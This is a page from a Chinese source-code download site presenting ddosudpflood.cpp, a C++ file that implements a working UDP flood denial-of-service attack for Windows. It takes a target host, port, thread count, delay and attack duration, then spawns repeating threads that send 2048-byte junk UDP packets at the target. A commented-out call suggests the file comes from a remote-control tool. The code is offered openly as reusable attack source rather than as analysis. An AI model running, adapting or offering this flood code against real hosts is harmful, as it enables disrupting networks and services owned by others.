⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddosudpflood.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
字号:
#include "DDOSUdpFlood.h"

#include <winsock2.h>
#pragma comment(lib,"WS2_32.LIB")
#include <stdio.h>
BOOL InitWinsock();
char* _GetDnsToAddr(IN const char * str);

//参数,全局变量
WCHAR Mem_TargetHost[1024]={0};
DWORD Mem_TargetPort = 0;
DWORD Mem_ThreadCount = 0;
DWORD Mem_ThreadTimeout = 0;
DWORD Mem_AttackingTime = 0;

bool DDOSUdpFlood = false;

DWORD ThreadCreated = 0;

HANDLE hThreadTimer = NULL;
//参数

bool CreateDDOSUdpFloodThread(LPCTSTR TargetHost, DWORD TargetPort, DWORD ThreadCount, DWORD ThreadTimeout, DWORD AttackingTime)
{
	if(DDOSUdpFlood == false)
	{
	//设定参数
	lstrcpy(Mem_TargetHost,TargetHost);
	Mem_TargetPort = TargetPort;
	Mem_ThreadCount = ThreadCount;
	Mem_ThreadTimeout = ThreadTimeout/* * 1000*/;
	Mem_AttackingTime = AttackingTime *1000 * 60;

	DDOSUdpFlood = true;

	ThreadCreated = ThreadCount;
	//设定参数

	CreateThread(NULL,0,StartDDOSUdpFlood,0,0,0);//创建线程
	}
	else
	if(DDOSUdpFlood == true)
	{
	//设定参数
	lstrcpy(Mem_TargetHost,TargetHost);
	Mem_TargetPort = TargetPort;
	Mem_ThreadCount = ThreadCount;
	Mem_ThreadTimeout = ThreadTimeout/* * 1000*/;
	Mem_AttackingTime = AttackingTime *1000 * 60;

	DDOSUdpFlood = false;

	ThreadCreated = ThreadCount;
	//设定参数

	CreateThread(NULL,0,ChangeDDOSUdpFlood,0,0,0);
	}

	return 0;
}

bool TerminateDDOSUdpFloodThread()
{
	DDOSUdpFlood = false;

	return 0;
}

DWORD WINAPI StartDDOSUdpFlood(LPVOID lpParameter)
{
	bool Running = true;

	TerminateThread(hThreadTimer,0);

	hThreadTimer = CreateThread(NULL,0,ThreadTimer,0,0,0);

	while(Running == true)
	{
	ThreadCreated = ThreadCreated -1 ;
		if(ThreadCreated <= 0)
		{
			Running = false;
		}

		if(DDOSUdpFlood == false)
		{
			Running = false;
		}

		Sleep(200);

	CreateThread(NULL,0,ThreadDDOSUdpFlood,0,0,0);//创建线程
	}

	return 0;
}

DWORD WINAPI ChangeDDOSUdpFlood(LPVOID lpParameter)
{
	DDOSUdpFlood = false;

	Sleep(5000);
	Sleep(Mem_ThreadTimeout);

	CreateThread(NULL,0,StartDDOSUdpFlood,0,0,0);//创建线程

	return 0;
}

DWORD WINAPI ThreadTimer(LPVOID lpParameter)
{
	Sleep(Mem_AttackingTime);

	DDOSUdpFlood = false;

	return 0;
}

DWORD WINAPI ThreadDDOSUdpFlood(LPVOID lpParameter)
{
	//CVipShellCTcpClient hConnectServer;

	if(DDOSUdpFlood == true)
	{
	//hConnectServer.DDOSUdpFloodServer(Mem_TargetHost, Mem_TargetPort, false);

	SOCKET socket1;

	InitWinsock();
	struct sockaddr_in server;
	int len =sizeof(server);
	server.sin_family=AF_INET;

	char* DestIp = _GetDnsToAddr(CW2A( Mem_TargetHost ));

	server.sin_port=htons( (u_short) Mem_TargetPort );                      ///server的监听端口
	server.sin_addr.s_addr= ( (inet_addr(DestIp)) ); ///server的地址

	//server.sin_port=htons(80);                      ///server的监听端口
	//server.sin_addr.s_addr=inet_addr("172.24.16.13"); ///server的地址


	socket1=socket(AF_INET,SOCK_DGRAM,0);

		char buffer[2048]="\0";

		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");
		strcat(buffer,"socksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksocksock");

		sendto(socket1,buffer,sizeof buffer,0,(struct sockaddr*)&server,len);


	closesocket(socket1);

	Sleep(Mem_ThreadTimeout);

	CreateThread(NULL,0,ThreadDDOSUdpFlood,0,0,0);
	}
	else
	if(DDOSUdpFlood == false)
	{
	//hConnectServer.DDOSUdpFloodServer(Mem_TargetHost, Mem_TargetPort, true);
		return 0;
	}

	return 0;
}

BOOL InitWinsock()
{
	int Error;
	WORD VersionRequested;
	WSADATA WsaData;
	VersionRequested=MAKEWORD(2,2);
	Error=WSAStartup(VersionRequested,&WsaData); //启动WinSock2
	if(Error!=0)
	{
		return FALSE;
	}
	else
	{
		if(LOBYTE(WsaData.wVersion)!=2||HIBYTE(WsaData.wHighVersion)!=2)
		{
			WSACleanup();
			return FALSE;
		}
		
	}
	return TRUE;
}

char* _GetDnsToAddr(IN const char * str)
{
	hostent * pHost;
	pHost = (struct hostent *)gethostbyname((const char*)str);
	if(!pHost)
		return NULL;
	hostent& he = *pHost;
	sockaddr_in sa;
	memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[0],he.h_length);
	return inet_ntoa(sa.sin_addr); 
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -